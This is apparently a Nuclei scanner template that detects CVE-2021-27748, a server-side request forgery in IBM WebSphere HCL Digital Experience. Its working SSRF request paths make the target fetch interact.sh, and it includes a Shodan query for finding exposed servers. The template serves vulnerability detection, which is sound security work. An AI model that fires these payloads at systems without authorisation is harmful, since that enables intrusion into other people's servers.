id: CVE-2021-27748

info:
  name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    IBM WebSphere HCL Digital Experience is susceptible to server-side request forgery vulnerability that impacts on-premise deployments and containers.
  reference:
    - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/
    - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748
  classification:
    cve-id: CVE-2021-27748
  metadata:
    verified: true
    shodan-query: http.html:"IBM WebSphere Portal"
  tags: cve,cve2021,hcl,ibm,ssrf,websphere

requests:
  - method: GET
    path:
      - '{{BaseURL}}/docpicker/internal_proxy/http/interact.sh'
      - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/interact.sh'

    redirects: true
    max-redirects: 2
    stop-at-first-match: true
    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Interactsh Server"

      - type: status
        status:
          - 200